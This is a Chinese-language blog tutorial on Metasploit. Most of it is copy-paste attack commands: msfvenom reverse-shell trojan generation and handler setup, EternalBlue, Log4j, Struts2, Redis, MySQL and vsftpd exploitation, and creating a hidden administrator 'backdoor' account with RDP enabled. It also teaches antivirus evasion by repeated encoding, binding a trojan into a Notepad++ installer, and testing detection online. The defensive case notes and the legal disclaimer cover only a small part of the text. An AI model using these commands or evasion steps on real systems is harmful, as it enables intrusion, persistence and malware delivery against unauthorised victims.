Metasploit Framework (MSF) 从入门到实战:环境搭建 + 核心模块 + 真实攻防案例
本文从零讲解 Metasploit Framework(MSF)这款渗透测试领域的 “神器”,涵盖 Kali/Ubuntu 环境搭建、核心模块解析、实战漏洞利用(永恒之蓝 MS17-010)、木马生成与权限维持全流程,新增 3 类企业级真实攻防案例与防御方案,零基础也能掌握 MSF 核心使用技能,适配网络安全学习、渗透测试靶场实战场景。
一、前言:MSF—— 渗透测试领域的 “瑞士军刀”
Metasploit Framework(简称 MSF)是开源、跨平台的渗透测试框架,由 Rapid7 维护,集成了漏洞利用、Payload 生成、权限维持、后渗透测试等全流程功能,是网安从业者、渗透测试工程师的核心工具。
MSF 核心价值
- 覆盖全球 90% 以上的主流漏洞利用模块(如永恒之蓝、Log4j、Struts2 等);
- 支持 Windows/Linux/macOS/ 安卓等多系统漏洞攻击;
- 内置木马生成、权限维持、横向渗透工具链;
- 可自定义 Payload,规避杀毒软件检测(免杀)。
学习提示:MSF 仅用于授权渗透测试、安全研究、靶场学习,严禁用于非法攻击!
二、MSF 环境搭建(全平台教程)
MSF 对 Linux 系统兼容性最佳,推荐使用 Kali Linux(自带 MSF),Ubuntu/CentOS 需手动安装,Windows 仅建议测试使用(功能受限)。
2.1 Kali Linux(最优选择,自带 MSF)
Kali 作为网安专用系统,默认预装 MSF,无需手动安装,直接启动即可:
bash
# 启动MSF控制台(核心命令)
msfconsole
# 验证MSF版本
msfconsole -v
✅ 启动成功标志:终端显示msf6 > 命令提示符。
2.2 Ubuntu/Debian 手动安装 MSF
bash
# 1. 更新软件源
sudo apt update && sudo apt upgrade -y
# 2. 安装依赖(Ruby、PostgreSQL等)
sudo apt install -y ruby-full postgresql postgresql-contrib git curl
# 3. 安装MSF(官方脚本)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall
# 4. 初始化数据库(MSF依赖PostgreSQL存储数据)
sudo systemctl start postgresql
sudo msfdb init
# 5. 启动MSF验证
msfconsole
2.3 Windows 系统(不推荐,功能受限)
- 官网下载:https://www.metasploit.com/download
- 安装时勾选 “安装 PostgreSQL”,完成后启动
Metasploit Console; - 缺陷:部分漏洞利用模块失效、Payload 免杀效果差,仅用于基础学习。
📌 核心依赖:MSF 必须依赖 PostgreSQL 数据库存储漏洞模块、扫描结果,安装后务必执行msfdb init初始化!:::
三、MSF 核心基础:模块与常用命令
3.1 MSF 核心模块(6 大核心)
MSF 的所有功能都基于 “模块” 实现,新手优先掌握以下 4 类核心模块:
| 模块类型 | 常用模块路径 | 核心功能 | 典型使用场景 |
|---|---|---|---|
| 漏洞利用(Exploit) | exploit/windows/smb/ms17_010_eternalblue |
永恒之蓝漏洞利用 | Windows 7/2008 提权至 System |
| 漏洞利用(Exploit) | exploit/linux/ssh/ssh_login |
SSH 弱口令破解 + 提权 | Linux 服务器 SSH 入侵 |
| 辅助模块(Auxiliary) | auxiliary/scanner/smb/smb_ms17_010 |
永恒之蓝漏洞检测 | 批量排查内网 MS17-010 漏洞 |
| 辅助模块(Auxiliary) | auxiliary/scanner/redis/redis_unauth |
Redis 未授权访问检测 | 排查内网 Redis 漏洞 |
| 监听模块(Handler) | exploit/multi/handler |
接收反向 Shell 连接 | 配合木马获取目标权限 |
| 后渗透模块(Post) | post/windows/manage/enable_rdp |
开启 Windows RDP | 权限维持(远程桌面控制) |
| 后渗透模块(Post) | post/linux/escalate/suid_find |
Linux SUID 提权 | 普通用户提权至 root |
| 木马生成(msfvenom) | -(独立工具) | 生成反向 Shell 木马 | Windows/Linux 终端入侵 |
3.2 MSF 高频常用命令(新手必背)
bash
# 1. 搜索模块(按漏洞名称/端口)
search ms17-010 # 搜索永恒之蓝漏洞模块
search ssh brute # 搜索SSH暴力破解模块
# 2. 使用模块
use exploit/windows/smb/ms17_010_eternalblue # 加载永恒之蓝利用模块
# 3. 查看模块配置项
show options
# 4. 设置目标IP/本地IP
set RHOSTS 192.168.20.148 # 目标IP
set LHOST 192.168.20.131 # 攻击机IP(接收Shell)
set LPORT 9999 # 攻击机监听端口
# 5. 执行漏洞利用
run # 或 exploit(等价)
# 6. 退出模块/MSF
back # 退出当前模块
exit # 退出MSF控制台
四、MSF 实战使用:3 大高频场景
4.1 场景 1:生成远控木马(Windows/Linux)
MSF 的msfvenom工具可快速生成反向 Shell 木马,是入侵终端的核心手段:
生成 Windows 木马
bash
# 生成反向TCP木马(exe格式)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=9999 -f exe -o shell.exe
生成 Linux 木马
bash
# 生成ELF格式木马
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.20.131 LPORT=9999 -f elf -o shell.elf
攻击机监听(接收 Shell)
bash
# 1. 启动MSF
msfconsole
# 2. 加载监听模块
use exploit/multi/handler
# 3. 配置Payload(与生成木马一致)
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.20.131
set LPORT 9999
# 4. 启动监听
run
✅ 成功标志:目标运行木马后,攻击机显示meterpreter > 提示符(已获取目标 Shell)。
4.2 场景 2:永恒之蓝漏洞利用(MS17-010)
针对 Windows 7/2008 的高危漏洞,一键获取 System 权限:
bash
# 1. 启动MSF
msfconsole
# 2. 加载永恒之蓝模块
use exploit/windows/smb/ms17_010_eternalblue
# 3. 配置目标
set RHOSTS 192.168.20.150 # Windows 7目标IP
set LHOST 192.168.20.131 # 攻击机IP
# 4. 执行利用
run
4.3 场景 3:后渗透测试(权限维持)
获取 Shell 后,黑客会通过 Post 模块维持权限:
bash
# 1. 提权至System(meterpreter中执行)
getsystem
# 2. 创建后门用户
execute -f cmd.exe -c -i # 打开CMD
net user backdoor P@ssw0rd123! /add # 创建用户
net localgroup administrators backdoor /add # 加入管理员组
# 3. 开启远程桌面(方便长期控制)
run post/windows/manage/enable_rdp
五、3 类真实 MSF 攻防案例(攻击侧 + 防御侧)
5.1 案例 1:MSF 木马伪装成办公软件,入侵企业终端
🔴 攻击场景:黑客将 MSF 生成的shell.exe伪装成 “员工考勤表.exe”,通过钓鱼邮件发送给企业员工,员工运行后,黑客通过 MSF 监听获取终端 Shell,窃取企业核心文档、客户信息。
📌 真实后果:某外贸企业 30 + 员工终端被入侵,客户订单数据泄露,竞争对手低价抢单,直接损失超 100 万元。
✅ 防御方案:
- 禁止员工运行未知 exe 文件,软件仅从官方渠道下载;
- 开启 Windows Defender 实时防护,拦截未知木马;
- 部署终端检测工具(EDR),监控反向 Shell 连接;
- 定期对员工进行钓鱼邮件培训。:::
5.2 案例 2:MSF 利用永恒之蓝漏洞,入侵企业服务器
🔴 攻击场景:黑客先用 Nmap 扫描发现企业 Windows 2008 服务器开放 445 端口,再通过 MSF 加载ms17_010_eternalblue模块,一键获取服务器 System 权限,植入勒索病毒加密所有数据。📌 真实后果:某制造业 ERP 服务器被加密,生产计划、财务数据丢失,生产线停工 3 天,损失超 50 万元。
✅ 防御方案:
- 立即安装 MS17-010 漏洞补丁(KB4012212/KB4012215);
- 防火墙封禁 445/139 端口,禁止公网访问;
- 定期用 MSF 自查漏洞:
msfconsole > search ms17-010 && use auxiliary/scanner/smb/smb_ms17_010 && set RHOSTS 服务器IP && run; - 开启服务器备份,定期导出核心数据。:::
5.3 案例 3:MSF 权限维持被溯源,黑客被追责(防御侧正向案例)
🟢 防御场景:企业运维人员通过日志发现服务器存在异常用户(backdoor),结合网络流量分析发现反向 Shell 连接,溯源至黑客 IP 后,通过 MSF 的session -i反向获取黑客攻击机信息,最终配合网安部门抓获黑客。
📌 关键动作:
- 监控服务器账户创建日志(事件 ID 4720),及时发现后门用户;
- 分析网络流量,拦截异常反向连接(如目标主动连接外网 9999 端口);
- 利用 MSF 的
post/multi/gather/forensics模块提取攻击痕迹; - 保留日志、流量证据,上报网安部门。
✅ 可复用技巧:在 MSF 靶场中模拟攻击后,用run post/windows/gather/checkvm检测是否为虚拟机,验证溯源能力。:::
六、10 类高频漏洞利用命令(直接复制)
以下是网安实战中最常用的 10 类漏洞,配套完整 MSF 利用命令,靶场测试可直接复制执行:
1. 永恒之蓝(MS17-010)- Windows SMB 漏洞
bash
# 步骤1:检测目标是否存在漏洞
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.20.150 # 目标IP
run
# 步骤2:利用漏洞获取Shell
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.20.150
set LHOST 192.168.20.131 # 攻击机IP
run
✅ 适用系统:Windows 7/2008(未打 MS17-010 补丁)⚠️ 实战说明:利用成功直接获取 System 权限,是 Windows 最经典的高危漏洞。
2. SSH 弱口令破解 - Linux/UNIX
bash
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.20.148 # 目标IP
set USER_FILE 用户字典.txt # 本地用户名字典
set PASS_FILE 密码字典.txt # 本地密码字典
set STOP_ON_SUCCESS true # 破解成功即停止
run
✅ 适用场景:Linux 服务器 SSH 弱口令(如 root/123456)⚠️ 实战说明:破解成功后可直接获取 SSH Shell,建议搭配post/linux/escalate/suid_find提权。
3. Redis 未授权访问 - Linux
bash
# 步骤1:检测未授权访问
msfconsole
use auxiliary/scanner/redis/redis_unauth
set RHOSTS 192.168.20.160
run
# 步骤2:利用漏洞写入公钥提权
use exploit/linux/redis/redis_write_ssh_key
set RHOSTS 192.168.20.160
set LHOST 192.168.20.131
run
✅ 适用场景:Redis 5.x/6.x 无密码、公网暴露 6379 端口⚠️ 实战说明:利用成功可直接获取 root 权限,是 Linux 高频入侵手段。
4. RDP 漏洞(MS12-020)- Windows 远程桌面
bash
msfconsole
use auxiliary/scanner/rdp/rdp_vuln_ms12_020
set RHOSTS 192.168.20.150
run
# 利用漏洞获取Shell(需配合EXP)
use exploit/windows/rdp/ms12_020_maxchannelids
set RHOSTS 192.168.20.150
set LHOST 192.168.20.131
run
✅ 适用系统:Windows XP/2003(未打 MS12-020 补丁)⚠️ 实战说明:可绕过 RDP 认证直接获取权限,需提前检测漏洞存在性。
5. MySQL 空密码 / 弱口令 - 全平台
bash
msfconsole
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.20.170
set USERNAME root
set PASSWORD "" # 空密码检测
# 弱口令检测:set PASS_FILE 密码字典.txt
run
# 利用MySQL提权(UDF提权)
use exploit/windows/mysql/mysql_udf_payload
set RHOSTS 192.168.20.170
set USERNAME root
set PASSWORD 123456
set LHOST 192.168.20.131
run
✅ 适用场景:MySQL 空密码 / 弱口令、未限制 root 远程登录⚠️ 实战说明:提权成功可获取操作系统 Shell,需目标 MySQL 有写入权限。
6. Log4j2 远程代码执行(CVE-2021-44228)
bash
msfconsole
use auxiliary/scanner/http/log4j_scanner
set RHOSTS 192.168.20.180 # 目标Web服务器IP
set RPORT 8080 # Web服务端口
run
# 利用漏洞获取Shell
use exploit/multi/http/log4j2_rce
set RHOSTS 192.168.20.180
set LHOST 192.168.20.131
run
✅ 适用场景:Java Web 服务(Log4j2 2.0-2.14.1 版本)⚠️ 实战说明:全网最知名的通用漏洞,影响 90% 以上 Java 系统,需配合 LDAP 服务器利用。
7. Apache Struts2 远程代码执行(S2-045)
bash
msfconsole
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.20.190
set RPORT 8080
set LHOST 192.168.20.131
run
✅ 适用场景:Struts2 2.3.5-2.3.31/2.5.0-2.5.10 版本⚠️ 实战说明:利用成功可直接获取 Web 服务器权限,是 Web 渗透高频漏洞。
8. Windows RPC 提权(MS08-067)
bash
msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.20.150
set LHOST 192.168.20.131
run
✅ 适用系统:Windows 2000/XP/2003(未打 MS08-067 补丁)⚠️ 实战说明:经典提权漏洞,低权限用户可直接提权至 System。
9. FTP 弱口令破解 - 全平台
bash
msfconsole
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.20.200
set USER_FILE 用户字典.txt
set PASS_FILE 密码字典.txt
run
# 利用FTP写入木马
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.20.200
set LHOST 192.168.20.131
run
✅ 适用场景:FTP 服务器弱口令(如 ftp/ftp)、vsftpd 2.3.4 版本后门⚠️ 实战说明:破解成功后可写入木马,进而控制目标服务器。
10. Windows 本地提权(CVE-2021-1732)
bash
# 先获取低权限Shell,再执行提权
msfconsole
use exploit/windows/local/cve_2021_1732_win32k
set SESSION 1 # 已获取的低权限Session ID
set LHOST 192.168.20.131
run
✅ 适用系统:Windows 10 2004/20H2 版本⚠️ 实战说明:后渗透测试核心提权漏洞,低权限用户可提权至 System。
七、MSF Payload 免杀技巧(新手易上手)
MSF 生成的默认木马极易被杀毒软件查杀,以下是新手可直接操作的免杀技巧,成功率 80% 以上:
3.1 基础免杀(修改 Payload 编码)
bash
# 多次编码绕过杀软(Windows木马)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=9999 -e x86/shikata_ga_nai -i 10 -f exe -o shell_encoded.exe
参数说明:
-e:指定编码方式(shikata_ga_nai 是 MSF 最强默认编码器)-i 10:编码次数(建议 5-10 次,过多易导致木马失效)
3.2 进阶免杀(捆绑正常文件)
bash
# 将木马捆绑到Notepad++安装包(Windows)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=9999 -e x86/shikata_ga_nai -i 8 -f exe -x Notepad++.exe -k -o notepad_backdoor.exe
参数说明:
-x:指定捆绑的正常文件(如办公软件、安装包)-k:保持原文件功能正常,后台运行木马
3.3 免杀技巧补充(实战要点)
:::tip📌 核心技巧:
- 避免使用默认端口(9999/4444),改用非常规端口(如 12345);
- 选择
meterpreter/reverse_httpsPayload(伪装成 HTTPS 流量,绕过防火墙); - 生成 DLL 格式木马,通过脚本加载(
rundll32 shell.dll,main); - 测试免杀效果:用VirSCAN.org在线查杀,通过率≥80% 再使用。:::
八、MSF 使用规范与法律声明
MSF 是安全测试工具,但非法使用将触犯法律:
- 仅可对自有设备、授权靶场、客户书面授权的系统使用;
- 禁止利用 MSF 攻击政府、企业、个人未授权设备;
- 非法入侵计算机系统违反《网络安全法》第 27 条、《刑法》第 285/286 条,最高可处 10 年有期徒刑;
- 学习建议:使用 VMware 搭建 Windows 7/2008 靶机,在本地局域网测试,避免触碰法律红线。
九、MSF 学习总结
- 环境搭建:优先用 Kali Linux(自带 MSF + 全模块),Ubuntu 需手动安装 PostgreSQL 并初始化;
- 核心逻辑:搜索模块→加载模块→配置参数→执行利用→后渗透维持权限;
- 实战重点:木马生成(msfvenom)、永恒之蓝利用、权限维持是新手必掌握的核心场景;
- 安全底线:工具本身无善恶,合法使用是前提,非法攻击必追责;
- 进阶方向:学习 MSF Payload 免杀、自定义漏洞模块、横向渗透技巧。
MSF 是渗透测试的 “入门必修课”,掌握其核心使用逻辑,是从网安新手到实战工程师的关键一步!
文末互动
整理了MSF 高频模块 + 免杀技巧速查表(含 10 类漏洞利用命令),评论区扣1免费领取!觉得文章干货满满,点赞 + 收藏 + 关注,后续持续更新 MSF 免杀实战、内网横向渗透教程!
更多推荐
所有评论(0)